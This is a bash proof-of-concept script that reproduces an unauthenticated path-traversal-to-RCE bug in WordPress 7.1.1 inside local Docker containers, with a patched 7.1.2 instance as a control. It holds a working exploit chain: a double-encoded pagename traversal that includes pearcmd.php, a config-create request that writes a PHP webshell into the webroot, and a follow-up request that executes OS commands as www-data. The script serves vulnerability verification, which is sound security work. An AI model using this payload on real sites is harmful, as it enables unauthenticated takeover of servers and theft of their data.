#!/bin/bash
# CVE-2026-87902 - WordPress Core <= 7.1.1 unauthenticated path traversal in
# get_page_template() page-template resolution leading to conditional RCE
# (GHSA-7hp8-65ch-5whp).
#
# Vulnerable: wordpress:7.1.1-apache (WP 7.1.1, PHP 8.3, register_argc_argv=On,
#             PEAR pearcmd.php present - the advisory's documented RCE scenario)
# Fixed:      same image with /usr/src/wordpress replaced by the official
#             wordpress-7.1.2.tar.gz release (contains the validate_file() fix
#             and the _wp_is_template_path_allowed() containment check).
#
# Attack (unauthenticated HTTP GET, real production path through Apache):
#   /?page_id=<existing page>&pagename=templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd
#       &+config-create+/<?=system($_GET['c'])?>+/var/www/html/<shell>.php
#   The double-encoded pagename survives sanitize_title_for_query() (%xx octets
#   are preserved), page_id overrides the WHERE clause (class-wp-query.php) so
#   the query finds a real page and is_page survives handle_404(). In
#   get_page_template(), urldecode(pagename) yields a traversal that is
#   assembled as "page-{decoded}.php" WITHOUT validate_file() validation, so
#   locate_template() resolves
#     <theme>/page-templates/../../../../.../usr/local/lib/php/pearcmd.php
#   outside the theme (precondition: active theme has top-level page-*
#   directory - we use the legacy Twenty Twelve theme named by the advisory).
#   The included pearcmd.php runs config-create with attacker-controlled argv
#   (register_argc_argv=On), writing a PHP webshell into the webroot. A second
#   unauthenticated request executes an arbitrary OS command as www-data.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

CACHE_DIR="/pruva/project-cache"
if [ -f "$ROOT/project_cache_context.json" ] && jq -e '.prepared == true' "$ROOT/project_cache_context.json" >/dev/null 2>&1; then
    PKG_DIR="$(jq -r '.project_cache_dir // "/pruva/project-cache"' "$ROOT/project_cache_context.json")/packages"
else
    PKG_DIR="$ROOT/artifacts/downloads"
fi
mkdir -p "$PKG_DIR"

NET="pruva87902-net"
DB="pruva87902-db"
VULN="pruva87902-vuln"
FIXED="pruva87902-fixed"
VULN_PORT=18081
FIXED_PORT=18082
VULN_BASE="http://127.0.0.1:${VULN_PORT}"
FIXED_BASE="http://127.0.0.1:${FIXED_PORT}"
DB_ROOT_PW="pruvaRootPw87902"
DB_NAME="wordpress"
DB_NAME_FIXED="wordpress_fixed"
DB_USER="wp"
DB_PASS="wpPass87902"
ADMIN_PW="Pruva-Admin-87902!"
FIXED_IMAGE="pruva87902-wordpress:7.1.2-apache"
VULN_IMAGE="wordpress:7.1.1-apache"
WP712_TARBALL="$PKG_DIR/wordpress-7.1.2.tar.gz"
THEME_ZIP="$PKG_DIR/twentytwelve.4.9.zip"

log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

write_manifest() {
    # $1=entrypoint_kind $2=service_started $3=healthcheck $4=target_reached $5=notes ; rest: proof files
    local kind="$1" svc="$2" health="$3" reached="$4" notes="$5"; shift 5
    local repo_url="https://github.com/WordPress/wordpress-develop"
    local commit_sha image_digest target_digest
    commit_sha="$(git ls-remote "$repo_url" 'refs/tags/7.1.1' 2>/dev/null | awk '{print $1}' || true)"
    image_digest="$(docker image inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}' 2>/dev/null | awk -F@ '{print $2}' || true)"
    if [ -n "$commit_sha" ]; then
        target_digest="$(printf 'git:%s@%s' "$repo_url" "$commit_sha" | sha256sum | awk '{print $1}')"
    else
        commit_sha=""
        target_digest="$(printf 'docker:%s@%s' "$VULN_IMAGE" "$image_digest" | sha256sum | awk '{print $1}')"
    fi
    local arts_json="[]" sha_json="{}"
    for f in "$@"; do
        [ -f "$ROOT/$f" ] || continue
        arts_json="$(jq --arg p "$f" '. + [$p]' <<<"$arts_json")"
        sha_json="$(jq --arg p "$f" --arg s "$(sha256sum "$ROOT/$f" | awk '{print $1}')" '. + {($p): $s}' <<<"$sha_json")"
    done
    jq -n \
        --arg kind "$kind" \
        --arg detail "GET /?page_id=<id>&pagename=<double-encoded traversal>&+config-create+<php>+<shell-path> against Apache/WordPress front controller" \
        --argjson svc "$svc" --argjson health "$health" --argjson reached "$reached" \
        --arg repo "$repo_url" --arg sha "$commit_sha" --arg tdigest "$target_digest" \
        --arg rdigest "${image_digest:-}" \
        --argjson arts "$arts_json" --argjson shas "$sha_json" \
        --arg notes "$notes" '
        {
          entrypoint_kind: $kind,
          entrypoint_detail: $detail,
          service_started: $svc,
          healthcheck_passed: $health,
          target_path_reached: $reached,
          runtime_stack: ["apache2", "php-8.3(mod_php)", "wordpress", "mysql-8.0"],
          target_identity: ({
            repository_url: $repo,
            target_digest: $tdigest,
            platform: "linux",
            architecture: "x86_64"
          } + (if $sha != "" then {commit_sha: $sha} else {} end)
            + (if $rdigest != "" then {runtime_digest: $rdigest} else {} end)),
          proof_artifacts: $arts,
          artifact_sha256: $shas,
          notes: $notes
        }' > "$REPRO_DIR/runtime_manifest.json"
    log "runtime_manifest.json written (reached=$reached)"
}

finish() {
    local rc=$?
    docker logs "$VULN" > "$LOGS/vuln_container.log" 2>&1 || true
    docker logs "$FIXED" > "$LOGS/fixed_container.log" 2>&1 || true
    docker rm -f "$VULN" "$FIXED" "$DB" >/dev/null 2>&1 || true
    docker network rm "$NET" >/dev/null 2>&1 || true
    exit $rc
}
trap finish EXIT

fail() {
    log "FAIL: $*"
    write_manifest "endpoint" "${SVC_STARTED:-false}" "${HEALTH_OK:-false}" "false" "failed: $*" \
        "logs/reproduction_preconditions.log" 2>/dev/null || true
    exit 1
}

log "=== CVE-2026-87902 reproduction starting ==="

# ---------------------------------------------------------------------------
# 1. Download runtime dependencies (cached under the project cache)
# ---------------------------------------------------------------------------
if [ ! -s "$WP712_TARBALL" ]; then
    log "Downloading wordpress-7.1.2.tar.gz"
    curl -fsSL --retry 3 --max-time 300 -o "$WP712_TARBALL" \
        https://downloads.wordpress.org/release/wordpress-7.1.2.tar.gz
fi
if [ ! -s "$THEME_ZIP" ]; then
    log "Downloading twentytwelve.4.9.zip"
    curl -fsSL --retry 3 --max-time 300 -o "$THEME_ZIP" \
        https://downloads.wordpress.org/theme/twentytwelve.4.9.zip
fi
log "tarball sha256: $(sha256sum "$WP712_TARBALL" | awk '{print $1}')"
log "theme   sha256: $(sha256sum "$THEME_ZIP" | awk '{print $1}')"

# ---------------------------------------------------------------------------
# 2. Build the fixed (7.1.2) image from the official vulnerable image
# ---------------------------------------------------------------------------
if docker image inspect "$FIXED_IMAGE" >/dev/null 2>&1 \
   && ! docker run --rm --entrypoint test "$FIXED_IMAGE" -f /usr/src/wordpress/wp-config-docker.php >/dev/null 2>&1; then
    log "Fixed image missing wp-config-docker.php, forcing rebuild"
    docker image rm -f "$FIXED_IMAGE" >/dev/null 2>&1 || true
fi
if ! docker image inspect "$FIXED_IMAGE" >/dev/null 2>&1; then
    log "Building fixed image $FIXED_IMAGE"
    BUILD_DIR="$REPRO_DIR/build-fixed"
    rm -rf "$BUILD_DIR"; mkdir -p "$BUILD_DIR"
    cp "$WP712_TARBALL" "$BUILD_DIR/wordpress-7.1.2.tar.gz"
    cat > "$BUILD_DIR/Dockerfile" <<'EOF'
FROM wordpress:7.1.1-apache
COPY wordpress-7.1.2.tar.gz /tmp/wordpress-7.1.2.tar.gz
RUN cp /usr/src/wordpress/wp-config-docker.php /tmp/wp-config-docker.php \
 && rm -rf /usr/src/wordpress \
 && tar -xzf /tmp/wordpress-7.1.2.tar.gz -C /usr/src \
 && cp /tmp/wp-config-docker.php /usr/src/wordpress/wp-config-docker.php \
 && rm /tmp/wordpress-7.1.2.tar.gz /tmp/wp-config-docker.php
EOF
    docker build -q -t "$FIXED_IMAGE" "$BUILD_DIR" > "$LOGS/fixed_image_build.log" 2>&1 \
        || { tail -20 "$LOGS/fixed_image_build.log"; fail "fixed image build failed"; }
    rm -rf "$BUILD_DIR"
fi

# ---------------------------------------------------------------------------
# 3. Precondition / patch-difference evidence
# ---------------------------------------------------------------------------
PRE="$LOGS/reproduction_preconditions.log"
: > "$PRE"
{
    echo "--- vulnerable image wordpress:7.1.1-apache ---"
    docker run --rm "$VULN_IMAGE" bash -c '
        grep "\$wp_version =" /usr/src/wordpress/wp-includes/version.php
        php -v | head -1
        php -r "echo \"register_argc_argv=\" . ini_get(\"register_argc_argv\") . \"\n\";"
        ls -la /usr/local/lib/php/pearcmd.php
        echo "validate_file(pagename_decoded) occurrences in template.php:"
        grep -c "validate_file( \$pagename_decoded )" /usr/src/wordpress/wp-includes/template.php || true
        echo "_wp_is_template_path_allowed occurrences:"
        grep -c "_wp_is_template_path_allowed" /usr/src/wordpress/wp-includes/template.php || true
    '
    echo "--- fixed image $FIXED_IMAGE ---"
    docker run --rm "$FIXED_IMAGE" bash -c '
        grep "\$wp_version =" /usr/src/wordpress/wp-includes/version.php
        echo "validate_file(pagename_decoded) occurrences in template.php:"
        grep -c "validate_file( \$pagename_decoded )" /usr/src/wordpress/wp-includes/template.php || true
        echo "_wp_is_template_path_allowed occurrences:"
        grep -c "_wp_is_template_path_allowed" /usr/src/wordpress/wp-includes/template.php || true
    '
} >> "$PRE" 2>&1
grep -q "wp_version = '7.1.1'" "$PRE" || fail "vulnerable image is not WP 7.1.1"
grep -q "wp_version = '7.1.2'" "$PRE" || fail "fixed image is not WP 7.1.2"

# ---------------------------------------------------------------------------
# 4. Start MySQL + both WordPress containers
# ---------------------------------------------------------------------------
docker rm -f "$VULN" "$FIXED" "$DB" >/dev/null 2>&1 || true
docker network rm "$NET" >/dev/null 2>&1 || true
docker network create "$NET" >/dev/null

log "Starting MySQL"
docker run -d --name "$DB" --network "$NET" \
    -e MYSQL_ROOT_PASSWORD="$DB_ROOT_PW" \
    -e MYSQL_DATABASE="$DB_NAME" \
    -e MYSQL_USER="$DB_USER" \
    -e MYSQL_PASSWORD="$DB_PASS" \
    mysql:8.0 >/dev/null

log "Waiting for MySQL to accept connections"
for i in $(seq 1 60); do
    if docker exec "$DB" mysqladmin ping -h127.0.0.1 -uroot -p"$DB_ROOT_PW" >/dev/null 2>&1; then
        break
    fi
    sleep 2
    [ "$i" = 60 ] && fail "mysql never became ready"
done
log "MySQL ready"
docker exec "$DB" mysql -uroot -p"$DB_ROOT_PW" -e \
    "CREATE DATABASE IF NOT EXISTS $DB_NAME_FIXED; GRANT ALL ON $DB_NAME_FIXED.* TO '$DB_USER'@'%'; FLUSH PRIVILEGES;"

start_wp() { # $1 name, $2 image, $3 port, $4 db name
    docker run -d --name "$1" --network "$NET" -p "127.0.0.1:$3:80" \
        -e WORDPRESS_DB_HOST="$DB:3306" \
        -e WORDPRESS_DB_NAME="$4" \
        -e WORDPRESS_DB_USER="$DB_USER" \
        -e WORDPRESS_DB_PASSWORD="$DB_PASS" \
        "$2" >/dev/null
}

log "Starting vulnerable WordPress 7.1.1 on port $VULN_PORT"
start_wp "$VULN" "$VULN_IMAGE" "$VULN_PORT" "$DB_NAME"
SVC_STARTED=true

wait_http() { # $1 base
    for i in $(seq 1 90); do
        code="$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "$1/wp-admin/install.php" 2>/dev/null || true)"
        case "$code" in 200|301|302) return 0;; esac
        sleep 2
    done
    return 1
}

wp_install() { # $1 base, $2 logprefix
    local cj="$LOGS/$2.cookies"
    curl -gsS --max-time 30 -c "$cj" -o "$LOGS/$2.install_step1.html" \
        -w 'step1 HTTP %{http_code}\n' "$1/wp-admin/install.php?step=1" -d "language=en_US"
    curl -gsS --max-time 30 -b "$cj" -c "$cj" -o "$LOGS/$2.install_step2.html" \
        -w 'step2 HTTP %{http_code}\n' "$1/wp-admin/install.php?step=2" \
        --data-urlencode "weblog_title=CVE-2026-87902 Repro" \
        --data-urlencode "user_name=admin" \
        --data-urlencode "admin_password=$ADMIN_PW" \
        --data-urlencode "admin_password2=$ADMIN_PW" \
        --data-urlencode "pass1-text=$ADMIN_PW" \
        --data-urlencode "admin_email=repro@example.invalid" \
        -d "blog_public=0" -d "Submit=Install WordPress" -d "language=en_US"
    grep -q "Success" "$LOGS/$2.install_step2.html"
}

log "Installing WordPress on the vulnerable instance"
wait_http "$VULN_BASE" || fail "vulnerable apache never came up"
ok=0
for i in 1 2 3; do
    if wp_install "$VULN_BASE" "vuln"; then ok=1; break; fi
    log "vulnerable install attempt $i failed, retrying"; sleep 5
done
[ "$ok" = 1 ] || fail "vulnerable WordPress install failed"
log "Vulnerable WordPress installed"

# ---------------------------------------------------------------------------
# 5. Install and activate the Twenty Twelve theme (advisory precondition:
#    active theme has a top-level page-templates directory)
# ---------------------------------------------------------------------------
THEME_STAGE="$REPRO_DIR/theme-stage"
rm -rf "$THEME_STAGE"; mkdir -p "$THEME_STAGE"
python3 -c "import zipfile; zipfile.ZipFile('$THEME_ZIP').extractall('$THEME_STAGE')"
[ -d "$THEME_STAGE/twentytwelve/page-templates" ] || fail "twentytwelve theme lacks page-templates directory"

setup_theme() { # $1 container, $2 base, $3 logprefix, $4 db name
    docker cp "$THEME_STAGE/twentytwelve" "$1:/var/www/html/wp-content/themes/twentytwelve"
    docker exec "$1" bash -c 'chown -R www-data:www-data /var/www/html/wp-content/themes/twentytwelve'
    docker exec "$DB" mysql -uroot -p"$DB_ROOT_PW" "$4" -e \
        "UPDATE wp_options SET option_value='twentytwelve' WHERE option_name IN ('template','stylesheet');"
    # Out-of-theme readable .php marker used to prove the LFI primitive itself.
    docker exec "$1" bash -c "printf '<?php echo \"PRUVA-LFI-MARKER-87902\n\";\n' > /opt/pruva_lfi_marker.php && chmod 644 /opt/pruva_lfi_marker.php"
    curl -gsS --max-time 30 "$2/" -o "$LOGS/$3.homepage.html"
    grep -q "themes/twentytwelve/style.css" "$LOGS/$3.homepage.html" || return 1
}

log "Activating Twenty Twelve theme on the vulnerable instance"
setup_theme "$VULN" "$VULN_BASE" "vuln" "$DB_NAME" || fail "twentytwelve activation failed on vulnerable instance"

PAGE_ID="$(docker exec "$DB" mysql -uroot -p"$DB_ROOT_PW" "$DB_NAME" -N -e \
    "SELECT ID FROM wp_posts WHERE post_type='page' AND post_status='publish' ORDER BY ID LIMIT 1;")"
[ -n "$PAGE_ID" ] || fail "no published page found"
log "Using existing page ID $PAGE_ID"
curl -gsS --max-time 30 -o /dev/null -w 'page_id probe HTTP %{http_code}\n' "$VULN_BASE/?page_id=$PAGE_ID" | tee -a "$LOGS/reproduction_steps.log"
HEALTH_OK=true

# ---------------------------------------------------------------------------
# 6. Attack helpers
# ---------------------------------------------------------------------------
# Single-decoded pagename value: templates/<12 x ../>usr/local/lib/php/pearcmd
# (extra ../ beyond filesystem root are harmless; "page-" prefix plus
#  "page-templates" theme dir consumes the first hop).
PAGENAME_ENC='templates'
for _ in $(seq 1 12); do PAGENAME_ENC="${PAGENAME_ENC}%252f%252e%252e"; done
PAGENAME_LFI="$PAGENAME_ENC"
PAGENAME_ENC="${PAGENAME_ENC}%252fusr%252flocal%252flib%252fphp%252fpearcmd"
PAGENAME_LFI="${PAGENAME_LFI}%252fopt%252fpruva_lfi_marker"
PHP_CODE='<?=system(current($_GET))?>' 

attempt_attack() { # $1 base, $2 role(vuln|fixed), $3 attempt no, $4 page id
    local base="$1" role="$2" n="$3" PAGE_ID="$4"
    local token; token="$(head -c 6 /dev/urandom | od -An -tx1 | tr -d ' \n')"
    local shell="pruva_rce_${role}${n}_${token}.php"
    local url="${base}/?page_id=${PAGE_ID}&pagename=${PAGENAME_ENC}&+config-create+/${PHP_CODE}+/var/www/html/${shell}"
    local req="$LOGS/${role}_attempt${n}_request.txt"
    local resp="$LOGS/${role}_attempt${n}_response.txt"
    local cmdout="$LOGS/${role}_attempt${n}_command.txt"
    local lfireq="$LOGS/${role}_attempt${n}_lfi_request.txt"
    local lfiresp="$LOGS/${role}_attempt${n}_lfi_response.txt"

    printf 'GET %s\n' "$url" > "$req"
    curl -gsS --max-time 30 -o "$resp" -w 'HTTP %{http_code}\n' "$url" >> "$req" 2>&1 || true

    printf 'GET %s/%s?c=echo+PRUVA-CMD-%s;id\n' "$base" "$shell" "$token" > "$cmdout.req"
    curl -gsS --max-time 30 -o "$cmdout" -w 'HTTP %{http_code}\n' \
        "${base}/${shell}?c=echo+PRUVA-CMD-${token};id" >> "$cmdout.req" 2>&1 || true
    mv "$cmdout.req" "$LOGS/${role}_attempt${n}_command_request.txt" 2>/dev/null || true

    printf 'GET %s/?page_id=%s&pagename=%s\n' "$base" "$PAGE_ID" "$PAGENAME_LFI" > "$lfireq"
    curl -gsS --max-time 30 -o "$lfiresp" -w 'HTTP %{http_code}\n' \
        "${base}/?page_id=${PAGE_ID}&pagename=${PAGENAME_LFI}" >> "$lfireq" 2>&1 || true

    local rce=1 lfi=1
    if grep -q "PRUVA-CMD-${token}" "$cmdout" 2>/dev/null && grep -q "uid=33(www-data)" "$cmdout" 2>/dev/null; then
        rce=0
    fi
    if grep -q "PRUVA-LFI-MARKER-87902" "$lfiresp" 2>/dev/null; then
        lfi=0
    fi
    log "[$role attempt $n] token=$token shell=$shell RCE=$([ $rce = 0 ] && echo CONFIRMED || echo absent) LFI=$([ $lfi = 0 ] && echo CONFIRMED || echo absent)"
    # return 0 only if BOTH primitives observed
    [ $rce = 0 ] && [ $lfi = 0 ]
}

# ---------------------------------------------------------------------------
# 7. Vulnerable attempts (x2)
# ---------------------------------------------------------------------------
VULN_OK=0
for n in 1 2; do
    if attempt_attack "$VULN_BASE" "vuln" "$n" "$PAGE_ID"; then
        VULN_OK=$((VULN_OK + 1))
    fi
done
log "Vulnerable instance: $VULN_OK/2 attempts confirmed RCE+LFI"

# ---------------------------------------------------------------------------
# 8. Fixed negative control (x2)
# ---------------------------------------------------------------------------
log "Starting fixed WordPress 7.1.2 on port $FIXED_PORT"
start_wp "$FIXED" "$FIXED_IMAGE" "$FIXED_PORT" "$DB_NAME_FIXED"
wait_http "$FIXED_BASE" || fail "fixed apache never came up"
ok=0
for i in 1 2 3; do
    if wp_install "$FIXED_BASE" "fixed"; then ok=1; break; fi
    log "fixed install attempt $i failed, retrying"; sleep 5
done
[ "$ok" = 1 ] || fail "fixed WordPress install failed"
setup_theme "$FIXED" "$FIXED_BASE" "fixed" "$DB_NAME_FIXED" || fail "twentytwelve activation failed on fixed instance"
log "Fixed WordPress 7.1.2 installed with Twenty Twelve active"
FIXED_PAGE_ID="$(docker exec "$DB" mysql -uroot -p"$DB_ROOT_PW" "$DB_NAME_FIXED" -N -e \
    "SELECT ID FROM wp_posts WHERE post_type='page' AND post_status='publish' ORDER BY ID LIMIT 1;")"
[ -n "$FIXED_PAGE_ID" ] || fail "no published page found on fixed instance"

FIXED_BLOCKED=0
for n in 1 2; do
    if attempt_attack "$FIXED_BASE" "fixed" "$n" "$FIXED_PAGE_ID"; then
        log "fixed attempt $n UNEXPECTEDLY succeeded"
    else
        FIXED_BLOCKED=$((FIXED_BLOCKED + 1))
    fi
done
log "Fixed instance: $FIXED_BLOCKED/2 attempts blocked (expected)"

# ---------------------------------------------------------------------------
# 9. Verdict + manifest
# ---------------------------------------------------------------------------
PROOFS=(
    "logs/reproduction_preconditions.log"
    "logs/vuln_attempt1_request.txt" "logs/vuln_attempt1_response.txt"
    "logs/vuln_attempt1_command.txt" "logs/vuln_attempt1_command_request.txt"
    "logs/vuln_attempt1_lfi_request.txt" "logs/vuln_attempt1_lfi_response.txt"
    "logs/vuln_attempt2_request.txt" "logs/vuln_attempt2_response.txt"
    "logs/vuln_attempt2_command.txt" "logs/vuln_attempt2_command_request.txt"
    "logs/vuln_attempt2_lfi_request.txt" "logs/vuln_attempt2_lfi_response.txt"
    "logs/fixed_attempt1_request.txt" "logs/fixed_attempt1_response.txt"
    "logs/fixed_attempt1_command.txt" "logs/fixed_attempt1_command_request.txt"
    "logs/fixed_attempt1_lfi_request.txt" "logs/fixed_attempt1_lfi_response.txt"
    "logs/fixed_attempt2_request.txt" "logs/fixed_attempt2_response.txt"
    "logs/fixed_attempt2_command.txt" "logs/fixed_attempt2_command_request.txt"
    "logs/fixed_attempt2_lfi_request.txt" "logs/fixed_attempt2_lfi_response.txt"
    "logs/vuln.homepage.html"
)

if [ "$VULN_OK" = 2 ] && [ "$FIXED_BLOCKED" = 2 ]; then
    log "RESULT: CONFIRMED - unauthenticated RCE on WP 7.1.1 via get_page_template() traversal + pearcmd config-create; blocked on 7.1.2"
    write_manifest "endpoint" true true true \
        "2/2 vulnerable attempts: unauthenticated GET included /usr/local/lib/php/pearcmd.php (LFI marker also confirmed) and config-create wrote a webroot shell executed as uid=33(www-data); 2/2 fixed 7.1.2 attempts blocked" \
        "${PROOFS[@]}"
    exit 0
fi

log "RESULT: NOT CONFIRMED (vuln_ok=$VULN_OK fixed_blocked=$FIXED_BLOCKED)"
write_manifest "endpoint" "${SVC_STARTED:-false}" "${HEALTH_OK:-false}" \
    "$([ "$VULN_OK" -gt 0 ] && echo true || echo false)" \
    "vuln_ok=$VULN_OK fixed_blocked=$FIXED_BLOCKED" \
    "${PROOFS[@]}"
exit 1
